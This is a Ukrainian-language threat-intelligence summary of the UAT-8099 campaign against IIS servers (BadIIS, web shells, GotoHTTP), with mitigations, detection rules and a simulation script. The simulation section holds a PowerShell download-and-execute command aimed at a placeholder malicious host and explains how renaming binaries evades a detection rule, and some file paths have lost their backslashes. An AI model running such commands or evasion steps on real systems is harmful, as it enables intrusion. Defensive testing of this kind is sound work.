Дисекція UAT-8099: Нові механізми персистенції та регіональний фокус
Detection stack
- AIDR
- Alert
- ETL
- Query
Резюме
Cisco Talos повідомляє про нову кампанію UAT-8099, спрямовану на вразливі IIS вебсервери по всій Азії. Актори розгортають кастомізовані варіанти BadIIS, що містять регіональні ідентифікатори, і використовують вебшелли, PowerShell і інструмент дистанційного керування GotoHTTP для подальшого контролю. Постійність включає створення прихованих локальних облікових записів і використання легітимних утиліт червоної команди для злиття з адміністративною діяльністю. Майстерність частково збігається із раніше відомою операцією WEBJACK і, здається, спрямована на шахрайство з SEO, що впливає на сайти в Таїланді та В’єтнамі.
Розслідування
Talos розглянули телеметрію DNS, хеши файлів та шкідливі скрипти для відновлення ланцюга вторгнення. Аналітики спостерігали за вебшеллами у поєднанні з інструментами, такими як SoftEther VPN та EasyTier, а також з набором спеціалізованих утиліт, включаючи Sharp4RemoveLog, CnCrypt Protect, OpenArk64 і GotoHTTP. Два регіонально адаптовані стейни BadIIS — IISHijack та asdSearchEngine — були реверсно розроблені, виявивши жорстко кодування коди країн, вибіркове фільтрування запитів та XOR-зашифровану конфігурацію C2. Також був виявлений ELF-збір BadIIS з відповідними C2-доменами на VirusTotal.
Пом’якшення
Патчити виявлені вразливості IIS, посилити контроль фаєрволу веб-додатків та моніторити створення прихованих локальних облікових записів (наприклад, admin$, mysql$ та подібні). Виявити активність PowerShell, що завантажує чи запускає GotoHTTP, та блокувати вихідну комунікацію до відомих C2-доменів. Використовувати контролі кінцевих пристроїв для сповіщення про виконання виявлених спеціалізованих утиліт та про неочікуванні модифікації в межах каталогів вебсерверів.
Відповідь
Якщо виявлено індикатори, ізолюйте сервер, видаліть вебшелли та приховані облікові записи. Збережіть BadIIS бінарії та пов’язані скрипти для судової експертизи, і виконайте повний аналіз мережевого трафіку для ідентифікації C2-активності. Відновіть із відомої доброякісної резервної копії та підвищіть безпеку конфігурації IIS для запобігання повторному зараженню.
Потік атаки
Виявлення
Завантаження або вивантаження через Powershell (через cmdline)
Перегляд
Підозрілі файли в загальнодоступному профілі користувача (через file_event)
Перегляд
Можлива інвентаризація облікових записів або груп (через cmdline)
Перегляд
Виявлення виконання команд PowerShell для розгортання GotoHTTP [Windows Powershell]
Перегляд
Виявлення шкідливого програмного забезпечення BadIIS, що націлюється на сервера IIS для шахрайства із SEO [Вебсервер]
Перегляд
Виконання симуляції
Передумова: Телеметрія та перевірка базового рівня перед польотом повинні бути успішними.
-
Наратив атаки та команди:
Атакуючий отримав початковий доступ до зламаного вебсервера. Вони створюють приховану директорію під назвоюbad_iisв кореневій директорії IIS і розміщують спеціально названий бінарний файлів вебшеллуshell_xyz.exe(уникаючи дослівного рядка “web shell”). Використовуючи вебшелл, вони виконують Payload PowerShell, який завантажує бінарник GotoHTTP, перейменовує його вsvc_update.exe, і запускає його. Оскільки імена образів є закамуфльованими, перевіркиImage|containsпочаткового правила обходяться, хоча командний рядок все ще містить “PowerShell”. -
Скрипт тесту регресії: Цей скрипт відтворює описані кроки та створює телеметрію, подібну до атаки BadIIS без використання точних рядків, які правило відстежує.
# BadIIS simulation – obfuscated version $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" New-Item -Path $payloadDir -ItemType Directory -Force | Out-Null # Deploy a renamed web‑shell (binary copy of a known benign exe) $shellSrc = "$env:SystemRootSystem32notepad.exe" $shellDst = Join-Path $payloadDir "shell_xyz.exe" Copy-Item -Path $shellSrc -Destination $shellDst -Force # Simulate the web‑shell invoking PowerShell to download GotoHTTP $gotoUrl = "http://malicious.example.com/GotoHTTP.exe" $gotoDst = "C:WindowsTempsvc_update.exe" $psCommand = @" Invoke-WebRequest -Uri '$gotoUrl' -OutFile '$gotoDst'; Start-Process -FilePath '$gotoDst' -WindowStyle Hidden; "@ # Execute the PowerShell payload via the renamed web‑shell (process creation) Start-Process -FilePath $shellDst -ArgumentList "/c powershell.exe -NoProfile -ExecutionPolicy Bypass -Command `$psCommand`" -WindowStyle Hidden Write-Output "BadIIS simulation executed." -
Команди очищення: Видаляє закладені артефакти й відновлює середовище.
# Cleanup BadIIS simulation artifacts $webRoot = "C:inetpubwwwroot" $payloadDir = Join-Path $webRoot "bad_iis" Remove-Item -Path $payloadDir -Recurse -Force -ErrorAction SilentlyContinue $gotoDst = "C:WindowsTempsvc_update.exe" Remove-Item -Path $gotoDst -Force -ErrorAction SilentlyContinue Write-Output "Cleanup completed."